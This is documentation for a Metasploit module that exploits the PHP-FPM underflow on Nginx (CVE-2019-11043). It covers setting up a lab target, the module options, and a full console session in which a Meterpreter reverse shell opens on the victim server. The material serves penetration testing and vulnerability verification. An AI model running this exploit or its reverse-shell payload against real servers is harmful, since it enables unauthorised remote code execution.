This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
the original neex's exploit code (see refs.). First, it detects the correct
parameters (Query String Length and custom header length) needed to trigger
code execution. This step determines if the target is actually vulnerable
(Check method). Then, the exploit sets a series of PHP INI directives to create
a file (`/tmp/a`) locally on the target, which enables code execution through a
query string parameter (`?a=<cmd>`). This is used to execute normal payload
stagers. Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing the created
local file (`/tmp/a`).

## Vulnerable Application
- Install Nginx on Linux (`apt-get install nginx`)
- get the vulnerable PHP:

```
git clone https://github.com/php/php-src
# checkout the fix
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
# checkout the commit previous to the fix
git -C php-src checkout HEAD~1
```

- make sure the default Nginx configuration contains these entries and no
  script existence checks (like `try_files`):

```
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}
```

See original PoC for details: https://github.com/neex/phuip-fpizdam

An easiest way to setup a vulnerable instance is to use the docker
configuration provided by the author
(https://github.com/neex/phuip-fpizdam/tree/master/reproducer)

## Verification Steps

  Preparing the target:

  1. `git clone https://github.com/neex/phuip-fpizdam`
  2. `cd phuip-fpizdam/reproducer/`
  3. `docker build -t reproduce-cve-2019-11043 .`
  4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043`

  Running the exploit:

  1. `./msfconsole`
  2. `use exploit/multi/http/php_fpm_rce`
  4. `set RHOSTS 192.168.6.6`
  5. `set RPORT 8080`
  4. `set TARGETURI /script.php`
  6. `set PAYLOAD php/meterpreter/reverse_tcp`
  7. `set LHOST 192.168.6.6`
  8. `run`

## Options

### TARGETURI
   Path to a PHP page (`/index.php` by default). This must be a valid page.

## Advanced Options

  **MinQSL**
  Minimum query string length (QSL). The QSL detection engine will iterate
  starting from this value (1500 by default). This option is required.

  **MaxQSL**
  Maximum query string length (QSL). The QSL detection engine will iterate
  until this value is reached (1950 by default). This option is required.

  **QSLHint**
  Query string length hint. This value will be used as a QSL candidate. Note
  that setting this value skips the QSL detection.

  **QSLDetectStep**
  Query string length detect step. The QSL detection engine will iterate with
  this step value (5 by default). This option is required.

  **MaxQSLCandidates**
  Maximum query string length candidates. When the number of QSL candidates
  found during the QSL detection phase is greater than this value (10 by
  default), this indicates that something went wrong and we were not able to
  detect the correct values. This option is required.

  **MaxQSLDetectDelta**
  Maximum query string length detection delta. This value is the maximum
  distance between the candidate and the extended values (10 by default). For
  example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will
  be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.

  **MaxCustomHeaderLength**
  Maximum custom header length. This value is the maximum length that will be
  used for the custom header during the parameters detection (256 by default).
  This option is required.

  **CustomHeaderLengthHint**
  Custom header length hint. This value will be used as the custom header
  length. Note that setting this value skips the custom header length
  detection.

  **DetectMethod**
  Method that will be used to detect if the target is vulnerable. Available
  methods:

  1. `session.auto_start`: this method consist in setting the
  `session.auto_start` PHP option to 1. If the response contains `PHPSESSID=`
  set-cookie value, this means the PHP option has been correctly set and the
  target is vulnerable.
  2. `output_handler.md5`: this method consist in setting the `output_handler`
  PHP option to `md5`. If the response is a md5 hash (16 characters), this
  means the PHP option has been correctly set and the target is vulnerable.

  **OperationMaxRetries**
  Maximum of operation retries. Each operation will be repeated at most
  `OperationMaxRetries` times.

## Scenarios

### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)

```
msf > use exploit/multi/http/php_fpm_rce
msf exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
RHOSTS => 192.168.6.6
msf exploit(multi/http/php_fpm_rce) > set RPORT 8080
RPORT => 8080
msf exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
TARGETURI => /script.php
msf exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
LHOST => 192.168.6.6
msf exploit(multi/http/php_fpm_rce) > run

[*] Started reverse TCP handler on 192.168.6.6:4444
[*] Sending baseline query...
[*] Detecting QSL...
[+] The target is probably vulnerable. Possible QSLs: [1765]
[*] Doing sanity check...
[*] Detecting attack parameters...
[+] Parameters found: QSL=1760, customh_length=69
[+] Target is vulnerable!
[*] Performing attack using php.ini settings...
[+] Success! Was able to execute a command by appending 'which+which'
[*] Trying to cleanup /tmp/a...
[+] Cleanup done!
[*] Sending payload...
[*] Sending stage (38288 bytes) to 192.168.6.6
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
[+] Session created
[*] Remove /tmp/a and kill workers...
[+] Done!

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : 832efebeac57
OS          : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```
